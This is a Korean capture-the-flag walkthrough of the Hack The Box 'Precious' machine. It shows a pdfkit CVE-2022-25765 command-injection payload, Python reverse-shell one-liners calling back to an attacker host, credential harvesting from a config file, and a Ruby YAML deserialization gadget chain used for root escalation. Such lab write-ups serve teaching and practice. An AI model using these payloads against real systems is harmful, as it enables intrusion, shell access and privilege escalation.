머신을 실행하고 발급된 머신의 IP를 대상으로 포트스캔을 먼저 진행했다.
naabu -host 10.10.11.189 -p - --nmap-cli "nmap -sV"
이전 이지 머신과 다를바없이 22/tcp
, 80/tcp
가 오픈되어있으며 precious.htb
라는 도메인으로 서비스되고있다.
웹 서비스에 접근하니 아래와같이 입력받은 URL의 페이지를 PDF로 변환해주는 기능을 하는것으로 보인다.
http://localhost:PORT
를 전달하여 로컬 서비스로 동작되는 서비스가 있는지 확인해봤으나 의미있는 정보는 찾지못했다. file://
, gopher://
, dict://
등의 스키마를 이용해서 로컬 파일을 읽어보는 시도도했으나 동일하게 의미있는 응답은 받지못했다.
google.com 같은 정상 서비스는 Invalid URL
응답을 받았으며, 해당 기능을 제공하는 페이지인 http://precious.htb/
조차 제대로된 응답을 받지 못했다.
마지막으로 공격자 PC 로컬에서 심플 웹서버를 띄우고 URL을 입력하니 PDF가 떨어졌다.
python3 -m http.server 12321
이것저것 다 응답이 없지만 로컬에서 띄운 웹서버는 접근이 된다. 결국 이를 통해 무엇인가 해야될것으로 예상되어 redirect를 통해 로컬 파일을 읽는 시도를 위해 아래와 같은 코드를 작성하여 http://IP:PORT/redirect?url=file:///etc/passwd
와 같은 시도를 했다.
package main
import (
"github.com/gofiber/fiber/v2"
)
func main() {
app := fiber.New()
app.Get("/redirect", func(c *fiber.Ctx) error {
url := c.Query("url")
return c.Redirect(url)
})
app.Listen(":12321")
}
여러 방면으로 redirect를 시도했으나 의미있는 응답은 받을 수 없었다.
여러 삽질을 진행하다가 exiftool
을 통해서 이전에 다운로드된 PDF를 분석하니 pdfkit v0.8.6
를 통해 생성된 PDF 파일로 확인됐다.
관련된 취약점이 존재하는지 서치하였으며 곧바로 CVE-2022-25765를 확인할 수 있었다.
해당 취약점은 URL Escape 과정에서 잘못된 처리로 인해 조작된 URL의 일부가 IO.popen 함수로 전달되어 Command Injection이 가능한 취약점이다.
참고
pdfkit github pull request
glasses96 - [CVE] - 2022-25765 Vulnerability analysis🔵⚪️🔴
자세한 내용은 위 참고 링크를 통해 확인할 수 있고, PoC는 다음과 같다.
http://example.com/?name=%20`COMMAND`
위 PoC URL을 url로 전달하여 PDF를 확인해보면 아래와같이 id 명령이 실행되어 PDF 내용에 포함되어있는것을 확인할 수 있다.
이를 통해 COMMAND 부분에 리버스 커넥션 코드를 삽입하여 리버스 커넥션을 유발시켜 쉘을 획득한다.
http://example.com/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("공격자IP",공격자PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`
여기서부터는 또 다시 시작된 정찰의 시간이다. 로컬 시스템 파일을 뒤져가며 쓸만한 정보가 있는지 기욱거리다 ruby 계정 홈디렉터리 내 .bundle 경로에서 henry 계정의 계정정보를 확인할 수 있었다.
henry 계정을 통해 ssh 접근이 가능했으며, 접근한 계정의 sudo 권한에 아래와 같이 특정 ruby 스크립트를 실행할 수 있는 sudo 권한이 존재했다.
바로 /opt/update_dependencies.rb의 코드를 체크하니 dependencies.yml
를 로드하여 파싱 후 몇가지 체크를 수행하는 스크립트다.
yaml 파일이 권한 상승을 위한 키 파일인것으로 예상된다.
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
구글링을 통해 ruby에서 yaml 역직렬화 취약점을 찾을 수 있었고 다음과 같은 내용의 yaml파일을 dependencies.yml
생성한다.
실제 실행될 코드는 yaml의 git_set
에 정의할 수 있다.
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",20009));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
method_id: :resolve